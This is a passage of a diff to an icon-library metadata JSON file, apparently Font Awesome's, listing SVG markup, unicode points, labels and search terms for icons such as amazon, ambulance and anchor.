14.4-32 32v72c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V64c0-17.6-14.4-32-32-32s-32 14.4-32 32v152c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V32c0-17.6-14.4-32-32-32s-32 14.4-32 32v184c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V64c0-17.6-14.4-32-32-32S96 46.4 96 64v241l-23.6-32.5c-13-17.9-38-21.8-55.9-8.8s-21.8 38-8.8 55.9l125.6 172.7c9 12.4 23.5 19.8 38.8 19.8h197.6c22.3 0 41.6-15.3 46.7-37l26.5-112.7c3.2-13.7 4.9-28.3 5.1-42.3V144c0-17.6-14.4-32-32-32zM176 416c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm64 128c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm64 32c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32 64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32-128c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M416 112c-17.6 0-32 14.4-32 32v72c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V64c0-17.6-14.4-32-32-32s-32 14.4-32 32v152c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V32c0-17.6-14.4-32-32-32s-32 14.4-32 32v184c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V64c0-17.6-14.4-32-32-32S96 46.4 96 64v241l-23.6-32.5c-13-17.9-38-21.8-55.9-8.8s-21.8 38-8.8 55.9l125.6 172.7c9 12.4 23.5 19.8 38.8 19.8h197.6c22.3 0 41.6-15.3 46.7-37l26.5-112.7c3.2-13.7 4.9-28.3 5.1-42.3V144c0-17.6-14.4-32-32-32zM176 416c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm64 128c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm64 32c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32 64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32-128c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z" + } + }, + "free": [ + "solid" + ] + }, + "amazon": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f270", + "label": "Amazon", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860964, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M257.2 162.7c-48.7 1.8-169.5 15.5-169.5 117.5 0 109.5 138.3 114 183.5 43.2 6.5 10.2 35.4 37.5 45.3 46.8l56.8-56S341 288.9 341 261.4V114.3C341 89 316.5 32 228.7 32 140.7 32 94 87 94 136.3l73.5 6.8c16.3-49.5 54.2-49.5 54.2-49.5 40.7-.1 35.5 29.8 35.5 69.1zm0 86.8c0 80-84.2 68-84.2 17.2 0-47.2 50.5-56.7 84.2-57.8v40.6zm136 163.5c-7.7 10-70 67-174.5 67S34.2 408.5 9.7 379c-6.8-7.7 1-11.3 5.5-8.3C88.5 415.2 203 488.5 387.7 401c7.5-3.7 13.3 2 5.5 12zm39.8 2.2c-6.5 15.8-16 26.8-21.2 31-5.5 4.5-9.5 2.7-6.5-3.8s19.3-46.5 12.7-55c-6.5-8.3-37-4.3-48-3.2-10.8 1-13 2-14-.3-2.3-5.7 21.7-15.5 37.5-17.5 15.7-1.8 41-.8 46 5.7 3.7 5.1 0 27.1-6.5 43.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M257.2 162.7c-48.7 1.8-169.5 15.5-169.5 117.5 0 109.5 138.3 114 183.5 43.2 6.5 10.2 35.4 37.5 45.3 46.8l56.8-56S341 288.9 341 261.4V114.3C341 89 316.5 32 228.7 32 140.7 32 94 87 94 136.3l73.5 6.8c16.3-49.5 54.2-49.5 54.2-49.5 40.7-.1 35.5 29.8 35.5 69.1zm0 86.8c0 80-84.2 68-84.2 17.2 0-47.2 50.5-56.7 84.2-57.8v40.6zm136 163.5c-7.7 10-70 67-174.5 67S34.2 408.5 9.7 379c-6.8-7.7 1-11.3 5.5-8.3C88.5 415.2 203 488.5 387.7 401c7.5-3.7 13.3 2 5.5 12zm39.8 2.2c-6.5 15.8-16 26.8-21.2 31-5.5 4.5-9.5 2.7-6.5-3.8s19.3-46.5 12.7-55c-6.5-8.3-37-4.3-48-3.2-10.8 1-13 2-14-.3-2.3-5.7 21.7-15.5 37.5-17.5 15.7-1.8 41-.8 46 5.7 3.7 5.1 0 27.1-6.5 43.1z" + } + }, + "free": [ + "brands" + ] + }, + "amazon-pay": { + "changes": [ + "5.0.2", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f42c", + "label": "Amazon Pay", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775891, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M14 325.3c2.3-4.2 5.2-4.9 9.7-2.5 10.4 5.6 20.6 11.4 31.2 16.7a595.88 595.88 0 0 0 127.4 46.3 616.61 616.61 0 0 0 63.2 11.8 603.33 603.33 0 0 0 95 5.2c17.4-.4 34.8-1.8 52.1-3.8a603.66 603.66 0 0 0 163.3-42.8c2.9-1.2 5.9-2 9.1-1.2 6.7 1.8 9 9 4.1 13.9a70 70 0 0 1-9.6 7.4c-30.7 21.1-64.2 36.4-99.6 47.9a473.31 473.31 0 0 1-75.1 17.6 431 431 0 0 1-53.2 4.8 21.3 21.3 0 0 0-2.5.3H308a21.3 21.3 0 0 0-2.5-.3c-3.6-.2-7.2-.3-10.7-.4a426.3 426.3 0 0 1-50.4-5.3A448.4 448.4 0 0 1 164 420a443.33 443.33 0 0 1-145.6-87c-1.8-1.6-3-3.8-4.4-5.7zM172 65.1l-4.3.6a80.92 80.92 0 0 0-38 15.1c-2.4 1.7-4.6 3.5-7.1 5.4a4.29 4.29 0 0 1-.4-1.4c-.4-2.7-.8-5.5-1.3-8.2-.7-4.6-3-6.6-7.6-6.6h-11.5c-6.9 0-8.2 1.3-8.2 8.2v209.3c0 1 0 2 .1 3 .2 3 2 4.9 4.9 5 7 .1 14.1.1 21.1 0 2.9 0 4.7-2 5-5 .1-1 .1-2 .1-3v-72.4c1.1.9 1.7 1.4 2.2 1.9 17.9 14.9 38.5 19.8 61 15.4 20.4-4 34.6-16.5 43.8-34.9 7-13.9 9.9-28.7 10.3-44.1.5-17.1-1.2-33.9-8.1-49.8-8.5-19.6-22.6-32.5-43.9-36.9-3.2-.7-6.5-1-9.8-1.5-2.8-.1-5.5-.1-8.3-.1zM124.6 107a3.48 3.48 0 0 1 1.7-3.3c13.7-9.5 28.8-14.5 45.6-13.2 14.9 1.1 27.1 8.4 33.5 25.9 3.9 10.7 4.9 21.8 4.9 33 0 10.4-.8 20.6-4 30.6-6.8 21.3-22.4 29.4-42.6 28.5-14-.6-26.2-6-37.4-13.9a3.57 3.57 0 0 1-1.7-3.3c.1-14.1 0-28.1 0-42.2s.1-28 0-42.1zm205.7-41.9c-1 .1-2 .3-2.9.4a148 148 0 0 0-28.9 4.1c-6.1 1.6-12 3.8-17.9 5.8-3.6 1.2-5.4 3.8-5.3 7.7.1 3.3-.1 6.6 0 9.9.1 4.8 2.1 6.1 6.8 4.9 7.8-2 15.6-4.2 23.5-5.7 12.3-2.3 24.7-3.3 37.2-1.4 6.5 1 12.6 2.9 16.8 8.4 3.7 4.8 5.1 10.5 5.3 16.4.3 8.3.2 16.6.3 24.9a7.84 7.84 0 0 1-.2 1.4c-.5-.1-.9 0-1.3-.1a180.56 180.56 0 0 0-32-4.9c-11.3-.6-22.5.1-33.3 3.9-12.9 4.5-23.3 12.3-29.4 24.9-4.7 9.8-5.4 20.2-3.9 30.7 2 14 9 24.8 21.4 31.7 11.9 6.6 24.8 7.4 37.9 5.4 15.1-2.3 28.5-8.7 40.3-18.4a7.36 7.36 0 0 1 1.6-1.1c.6 3.8 1.1 7.4 1.8 11 .6 3.1 2.5 5.1 5.4 5.2 5.4.1 10.9.1 16.3 0a4.84 4.84 0 0 0 4.8-4.7 26.2 26.2 0 0 0 .1-2.8v-106a80 80 0 0 0-.9-12.9c-1.9-12.9-7.4-23.5-19-30.4-6.7-4-14.1-6-21.8-7.1-3.6-.5-7.2-.8-10.8-1.3-3.9.1-7.9.1-11.9.1zm35 127.7a3.33 3.33 0 0 1-1.5 3c-11.2 8.1-23.5 13.5-37.4 14.9-5.7.6-11.4.4-16.8-1.8a20.08 20.08 0 0 1-12.4-13.3 32.9 32.9 0 0 1-.1-19.4c2.5-8.3 8.4-13 16.4-15.6a61.33 61.33 0 0 1 24.8-2.2c8.4.7 16.6 2.3 25 3.4 1.6.2 2.1 1 2.1 2.6-.1 4.8 0 9.5 0 14.3s-.2 9.4-.1 14.1zm259.9 129.4c-1-5-4.8-6.9-9.1-8.3a88.42 88.42 0 0 0-21-3.9 147.32 147.32 0 0 0-39.2 1.9c-14.3 2.7-27.9 7.3-40 15.6a13.75 13.75 0 0 0-3.7 3.5 5.11 5.11 0 0 0-.5 4c.4 1.5 2.1 1.9 3.6 1.8a16.2 16.2 0 0 0 2.2-.1c7.8-.8 15.5-1.7 23.3-2.5 11.4-1.1 22.9-1.8 34.3-.9a71.64 71.64 0 0 1 14.4 2.7c5.1 1.4 7.4 5.2 7.6 10.4.4 8-1.4 15.7-3.5 23.3-4.1 15.4-10 30.3-15.8 45.1a17.6 17.6 0 0 0-1 3c-.5 2.9 1.2 4.8 4.1 4.1a10.56 10.56 0 0 0 4.8-2.5 145.91 145.91 0 0 0 12.7-13.4c12.8-16.4 20.3-35.3 24.7-55.6.8-3.6 1.4-7.3 2.1-10.9v-17.3zM493.1 199q-19.35-53.55-38.7-107.2c-2-5.7-4.2-11.3-6.3-16.9-1.1-2.9-3.2-4.8-6.4-4.8-7.6-.1-15.2-.2-22.9-.1-2.5 0-3.7 2-3.2 4.5a43.1 43.1 0 0 0 1.9 6.1q29.4 72.75 59.1 145.5c1.7 4.1 2.1 7.6.2 11.8-3.3 7.3-5.9 15-9.3 22.3-3 6.5-8 11.4-15.2 13.3a42.13 42.13 0 0 1-15.4 1.1c-2.5-.2-5-.8-7.5-1-3.4-.2-5.1 1.3-5.2 4.8q-.15 5 0 9.9c.1 5.5 2 8 7.4 8.9a108.18 108.18 0 0 0 16.9 2c17.1.4 30.7-6.5 39.5-21.4a131.63 131.63 0 0 0 9.2-18.4q35.55-89.7 70.6-179.6a26.62 26.62 0 0 0 1.6-5.5c.4-2.8-.9-4.4-3.7-4.4-6.6-.1-13.3 0-19.9 0a7.54 7.54 0 0 0-7.7 5.2c-.5 1.4-1.1 2.7-1.6 4.1l-34.8 100c-2.5 7.2-5.1 14.5-7.7 22.2-.4-1.1-.6-1.7-.9-2.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M14 325.3c2.3-4.2 5.2-4.9 9.7-2.5 10.4 5.6 20.6 11.4 31.2 16.7a595.88 595.88 0 0 0 127.4 46.3 616.61 616.61 0 0 0 63.2 11.8 603.33 603.33 0 0 0 95 5.2c17.4-.4 34.8-1.8 52.1-3.8a603.66 603.66 0 0 0 163.3-42.8c2.9-1.2 5.9-2 9.1-1.2 6.7 1.8 9 9 4.1 13.9a70 70 0 0 1-9.6 7.4c-30.7 21.1-64.2 36.4-99.6 47.9a473.31 473.31 0 0 1-75.1 17.6 431 431 0 0 1-53.2 4.8 21.3 21.3 0 0 0-2.5.3H308a21.3 21.3 0 0 0-2.5-.3c-3.6-.2-7.2-.3-10.7-.4a426.3 426.3 0 0 1-50.4-5.3A448.4 448.4 0 0 1 164 420a443.33 443.33 0 0 1-145.6-87c-1.8-1.6-3-3.8-4.4-5.7zM172 65.1l-4.3.6a80.92 80.92 0 0 0-38 15.1c-2.4 1.7-4.6 3.5-7.1 5.4a4.29 4.29 0 0 1-.4-1.4c-.4-2.7-.8-5.5-1.3-8.2-.7-4.6-3-6.6-7.6-6.6h-11.5c-6.9 0-8.2 1.3-8.2 8.2v209.3c0 1 0 2 .1 3 .2 3 2 4.9 4.9 5 7 .1 14.1.1 21.1 0 2.9 0 4.7-2 5-5 .1-1 .1-2 .1-3v-72.4c1.1.9 1.7 1.4 2.2 1.9 17.9 14.9 38.5 19.8 61 15.4 20.4-4 34.6-16.5 43.8-34.9 7-13.9 9.9-28.7 10.3-44.1.5-17.1-1.2-33.9-8.1-49.8-8.5-19.6-22.6-32.5-43.9-36.9-3.2-.7-6.5-1-9.8-1.5-2.8-.1-5.5-.1-8.3-.1zM124.6 107a3.48 3.48 0 0 1 1.7-3.3c13.7-9.5 28.8-14.5 45.6-13.2 14.9 1.1 27.1 8.4 33.5 25.9 3.9 10.7 4.9 21.8 4.9 33 0 10.4-.8 20.6-4 30.6-6.8 21.3-22.4 29.4-42.6 28.5-14-.6-26.2-6-37.4-13.9a3.57 3.57 0 0 1-1.7-3.3c.1-14.1 0-28.1 0-42.2s.1-28 0-42.1zm205.7-41.9c-1 .1-2 .3-2.9.4a148 148 0 0 0-28.9 4.1c-6.1 1.6-12 3.8-17.9 5.8-3.6 1.2-5.4 3.8-5.3 7.7.1 3.3-.1 6.6 0 9.9.1 4.8 2.1 6.1 6.8 4.9 7.8-2 15.6-4.2 23.5-5.7 12.3-2.3 24.7-3.3 37.2-1.4 6.5 1 12.6 2.9 16.8 8.4 3.7 4.8 5.1 10.5 5.3 16.4.3 8.3.2 16.6.3 24.9a7.84 7.84 0 0 1-.2 1.4c-.5-.1-.9 0-1.3-.1a180.56 180.56 0 0 0-32-4.9c-11.3-.6-22.5.1-33.3 3.9-12.9 4.5-23.3 12.3-29.4 24.9-4.7 9.8-5.4 20.2-3.9 30.7 2 14 9 24.8 21.4 31.7 11.9 6.6 24.8 7.4 37.9 5.4 15.1-2.3 28.5-8.7 40.3-18.4a7.36 7.36 0 0 1 1.6-1.1c.6 3.8 1.1 7.4 1.8 11 .6 3.1 2.5 5.1 5.4 5.2 5.4.1 10.9.1 16.3 0a4.84 4.84 0 0 0 4.8-4.7 26.2 26.2 0 0 0 .1-2.8v-106a80 80 0 0 0-.9-12.9c-1.9-12.9-7.4-23.5-19-30.4-6.7-4-14.1-6-21.8-7.1-3.6-.5-7.2-.8-10.8-1.3-3.9.1-7.9.1-11.9.1zm35 127.7a3.33 3.33 0 0 1-1.5 3c-11.2 8.1-23.5 13.5-37.4 14.9-5.7.6-11.4.4-16.8-1.8a20.08 20.08 0 0 1-12.4-13.3 32.9 32.9 0 0 1-.1-19.4c2.5-8.3 8.4-13 16.4-15.6a61.33 61.33 0 0 1 24.8-2.2c8.4.7 16.6 2.3 25 3.4 1.6.2 2.1 1 2.1 2.6-.1 4.8 0 9.5 0 14.3s-.2 9.4-.1 14.1zm259.9 129.4c-1-5-4.8-6.9-9.1-8.3a88.42 88.42 0 0 0-21-3.9 147.32 147.32 0 0 0-39.2 1.9c-14.3 2.7-27.9 7.3-40 15.6a13.75 13.75 0 0 0-3.7 3.5 5.11 5.11 0 0 0-.5 4c.4 1.5 2.1 1.9 3.6 1.8a16.2 16.2 0 0 0 2.2-.1c7.8-.8 15.5-1.7 23.3-2.5 11.4-1.1 22.9-1.8 34.3-.9a71.64 71.64 0 0 1 14.4 2.7c5.1 1.4 7.4 5.2 7.6 10.4.4 8-1.4 15.7-3.5 23.3-4.1 15.4-10 30.3-15.8 45.1a17.6 17.6 0 0 0-1 3c-.5 2.9 1.2 4.8 4.1 4.1a10.56 10.56 0 0 0 4.8-2.5 145.91 145.91 0 0 0 12.7-13.4c12.8-16.4 20.3-35.3 24.7-55.6.8-3.6 1.4-7.3 2.1-10.9v-17.3zM493.1 199q-19.35-53.55-38.7-107.2c-2-5.7-4.2-11.3-6.3-16.9-1.1-2.9-3.2-4.8-6.4-4.8-7.6-.1-15.2-.2-22.9-.1-2.5 0-3.7 2-3.2 4.5a43.1 43.1 0 0 0 1.9 6.1q29.4 72.75 59.1 145.5c1.7 4.1 2.1 7.6.2 11.8-3.3 7.3-5.9 15-9.3 22.3-3 6.5-8 11.4-15.2 13.3a42.13 42.13 0 0 1-15.4 1.1c-2.5-.2-5-.8-7.5-1-3.4-.2-5.1 1.3-5.2 4.8q-.15 5 0 9.9c.1 5.5 2 8 7.4 8.9a108.18 108.18 0 0 0 16.9 2c17.1.4 30.7-6.5 39.5-21.4a131.63 131.63 0 0 0 9.2-18.4q35.55-89.7 70.6-179.6a26.62 26.62 0 0 0 1.6-5.5c.4-2.8-.9-4.4-3.7-4.4-6.6-.1-13.3 0-19.9 0a7.54 7.54 0 0 0-7.7 5.2c-.5 1.4-1.1 2.7-1.6 4.1l-34.8 100c-2.5 7.2-5.1 14.5-7.7 22.2-.4-1.1-.6-1.7-.9-2.4z" + } + }, + "free": [ + "brands" + ] + }, + "ambulance": { + "changes": [ + "3", + "5.0.0", + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "covid-19", + "emergency", + "emt", + "er", + "help", + "hospital", + "support", + "vehicle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0f9", + "label": "ambulance", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635306, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h16c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm144-248c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48zm176 248c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h16c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm144-248c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48zm176 248c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z" + } + }, + "free": [ + "solid" + ] + }, + "american-sign-language-interpreting": { + "changes": [ + "4.6", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "asl", + "deaf", + "finger", + "hand", + "interpret", + "speak" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2a3", + "label": "American Sign Language Interpreting", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635306, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M290.547 189.039c-20.295-10.149-44.147-11.199-64.739-3.89 42.606 0 71.208 20.475 85.578 50.576 8.576 17.899-5.148 38.071-23.617 38.071 18.429 0 32.211 20.136 23.617 38.071-14.725 30.846-46.123 50.854-80.298 50.854-.557 0-94.471-8.615-94.471-8.615l-66.406 33.347c-9.384 4.693-19.815.379-23.895-7.781L1.86 290.747c-4.167-8.615-1.111-18.897 6.946-23.621l58.072-33.069L108 159.861c6.39-57.245 34.731-109.767 79.743-146.726 11.391-9.448 28.341-7.781 37.51 3.613 9.446 11.394 7.78 28.067-3.612 37.516-12.503 10.559-23.618 22.509-32.509 35.57 21.672-14.729 46.679-24.732 74.186-28.067 14.725-1.945 28.063 8.336 29.73 23.065 1.945 14.728-8.336 28.067-23.062 29.734-16.116 1.945-31.12 7.503-44.178 15.284 26.114-5.713 58.712-3.138 88.079 11.115 13.336 6.669 18.893 22.509 12.224 35.848-6.389 13.06-22.504 18.617-35.564 12.226zm-27.229 69.472c-6.112-12.505-18.338-20.286-32.231-20.286a35.46 35.46 0 0 0-35.565 35.57c0 21.428 17.808 35.57 35.565 35.57 13.893 0 26.119-7.781 32.231-20.286 4.446-9.449 13.614-15.006 23.339-15.284-9.725-.277-18.893-5.835-23.339-15.284zm374.821-37.237c4.168 8.615 1.111 18.897-6.946 23.621l-58.071 33.069L532 352.16c-6.39 57.245-34.731 109.767-79.743 146.726-10.932 9.112-27.799 8.144-37.51-3.613-9.446-11.394-7.78-28.067 3.613-37.516 12.503-10.559 23.617-22.509 32.508-35.57-21.672 14.729-46.679 24.732-74.186 28.067-10.021 2.506-27.552-5.643-29.73-23.065-1.945-14.728 8.336-28.067 23.062-29.734 16.116-1.946 31.12-7.503 44.178-15.284-26.114 5.713-58.712 3.138-88.079-11.115-13.336-6.669-18.893-22.509-12.224-35.848 6.389-13.061 22.505-18.619 35.565-12.227 20.295 10.149 44.147 11.199 64.739 3.89-42.606 0-71.208-20.475-85.578-50.576-8.576-17.899 5.148-38.071 23.617-38.071-18.429 0-32.211-20.136-23.617-38.071 14.033-29.396 44.039-50.887 81.966-50.854l92.803 8.615 66.406-33.347c9.408-4.704 19.828-.354 23.894 7.781l44.455 88.926zm-229.227-18.618c-13.893 0-26.119 7.781-32.231 20.286-4.446 9.449-13.614 15.006-23.339 15.284 9.725.278 18.893 5.836 23.339 15.284 6.112 12.505 18.338 20.286 32.231 20.286a35.46 35.46 0 0 0 35.565-35.57c0-21.429-17.808-35.57-35.565-35.57z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M290.547 189.039c-20.295-10.149-44.147-11.199-64.739-3.89 42.606 0 71.208 20.475 85.578 50.576 8.576 17.899-5.148 38.071-23.617 38.071 18.429 0 32.211 20.136 23.617 38.071-14.725 30.846-46.123 50.854-80.298 50.854-.557 0-94.471-8.615-94.471-8.615l-66.406 33.347c-9.384 4.693-19.815.379-23.895-7.781L1.86 290.747c-4.167-8.615-1.111-18.897 6.946-23.621l58.072-33.069L108 159.861c6.39-57.245 34.731-109.767 79.743-146.726 11.391-9.448 28.341-7.781 37.51 3.613 9.446 11.394 7.78 28.067-3.612 37.516-12.503 10.559-23.618 22.509-32.509 35.57 21.672-14.729 46.679-24.732 74.186-28.067 14.725-1.945 28.063 8.336 29.73 23.065 1.945 14.728-8.336 28.067-23.062 29.734-16.116 1.945-31.12 7.503-44.178 15.284 26.114-5.713 58.712-3.138 88.079 11.115 13.336 6.669 18.893 22.509 12.224 35.848-6.389 13.06-22.504 18.617-35.564 12.226zm-27.229 69.472c-6.112-12.505-18.338-20.286-32.231-20.286a35.46 35.46 0 0 0-35.565 35.57c0 21.428 17.808 35.57 35.565 35.57 13.893 0 26.119-7.781 32.231-20.286 4.446-9.449 13.614-15.006 23.339-15.284-9.725-.277-18.893-5.835-23.339-15.284zm374.821-37.237c4.168 8.615 1.111 18.897-6.946 23.621l-58.071 33.069L532 352.16c-6.39 57.245-34.731 109.767-79.743 146.726-10.932 9.112-27.799 8.144-37.51-3.613-9.446-11.394-7.78-28.067 3.613-37.516 12.503-10.559 23.617-22.509 32.508-35.57-21.672 14.729-46.679 24.732-74.186 28.067-10.021 2.506-27.552-5.643-29.73-23.065-1.945-14.728 8.336-28.067 23.062-29.734 16.116-1.946 31.12-7.503 44.178-15.284-26.114 5.713-58.712 3.138-88.079-11.115-13.336-6.669-18.893-22.509-12.224-35.848 6.389-13.061 22.505-18.619 35.565-12.227 20.295 10.149 44.147 11.199 64.739 3.89-42.606 0-71.208-20.475-85.578-50.576-8.576-17.899 5.148-38.071 23.617-38.071-18.429 0-32.211-20.136-23.617-38.071 14.033-29.396 44.039-50.887 81.966-50.854l92.803 8.615 66.406-33.347c9.408-4.704 19.828-.354 23.894 7.781l44.455 88.926zm-229.227-18.618c-13.893 0-26.119 7.781-32.231 20.286-4.446 9.449-13.614 15.006-23.339 15.284 9.725.278 18.893 5.836 23.339 15.284 6.112 12.505 18.338 20.286 32.231 20.286a35.46 35.46 0 0 0 35.565-35.57c0-21.429-17.808-35.57-35.565-35.57z" + } + }, + "free": [ + "solid" + ] + }, + "amilia": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f36d", + "label": "Amilia", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722324, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M240.1 32c-61.9 0-131.5 16.9-184.2 55.4-5.1 3.1-9.1 9.2-7.2 19.4 1.1 5.1 5.1 27.4 10.2 39.6 4.1 10.2 14.2 10.2 20.3 6.1 32.5-22.3 96.5-47.7 152.3-47.7 57.9 0 58.9 28.4 58.9 73.1v38.5C203 227.7 78.2 251 46.7 264.2 11.2 280.5 16.3 357.7 16.3 376s15.2 104 124.9 104c47.8 0 113.7-20.7 153.3-42.1v25.4c0 3 2.1 8.2 6.1 9.1 3.1 1 50.7 2 59.9 2s62.5.3 66.5-.7c4.1-1 5.1-6.1 5.1-9.1V168c-.1-80.3-57.9-136-192-136zm50.2 348c-21.4 13.2-48.7 24.4-79.1 24.4-52.8 0-58.9-33.5-59-44.7 0-12.2-3-42.7 18.3-52.9 24.3-13.2 75.1-29.4 119.8-33.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M240.1 32c-61.9 0-131.5 16.9-184.2 55.4-5.1 3.1-9.1 9.2-7.2 19.4 1.1 5.1 5.1 27.4 10.2 39.6 4.1 10.2 14.2 10.2 20.3 6.1 32.5-22.3 96.5-47.7 152.3-47.7 57.9 0 58.9 28.4 58.9 73.1v38.5C203 227.7 78.2 251 46.7 264.2 11.2 280.5 16.3 357.7 16.3 376s15.2 104 124.9 104c47.8 0 113.7-20.7 153.3-42.1v25.4c0 3 2.1 8.2 6.1 9.1 3.1 1 50.7 2 59.9 2s62.5.3 66.5-.7c4.1-1 5.1-6.1 5.1-9.1V168c-.1-80.3-57.9-136-192-136zm50.2 348c-21.4 13.2-48.7 24.4-79.1 24.4-52.8 0-58.9-33.5-59-44.7 0-12.2-3-42.7 18.3-52.9 24.3-13.2 75.1-29.4 119.8-33.5z" + } + }, + "free": [ + "brands" + ] + }, + "anchor": { + "changes": [ + "3.1", + "5.0.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "berth", + "boat", + "dock", + "embed", + "link", + "maritime", + "moor", + "secure" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f13d", + "label": "Anchor", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635307, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M12.971 352h32.394C67.172 454.735 181.944 512 288 512c106.229 0 220.853-57.38 242.635-160h32.394c10.691 0 16.045-12.926 8.485-20.485l-67.029-67.029c-4.686-4.686-12.284-4.686-16.971 0l-67.029 67.029c-7.56 7.56-2.206 20.485 8.485 20.485h35.146c-20.29 54.317-84.963 86.588-144.117 94.015V256h52c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-52v-5.47c37.281-13.178 63.995-48.725 64-90.518C384.005 43.772 341.605.738 289.37.01 235.723-.739 192 42.525 192 96c0 41.798 26.716 77.35 64 90.53V192h-52c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h52v190.015c-58.936-7.399-123.82-39.679-144.117-94.015h35.146c10.691 0 16.045-12.926 8.485-20.485l-67.029-67.029c-4.686-4.686-12.284-4.686-16.971 0L4.485 331.515C-3.074 339.074 2.28 352 12.971 352zM288 64c17.645 0 32 14.355 32 32s-14.355 32-32 32-32-14.355-32-32 14.355-32 32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + 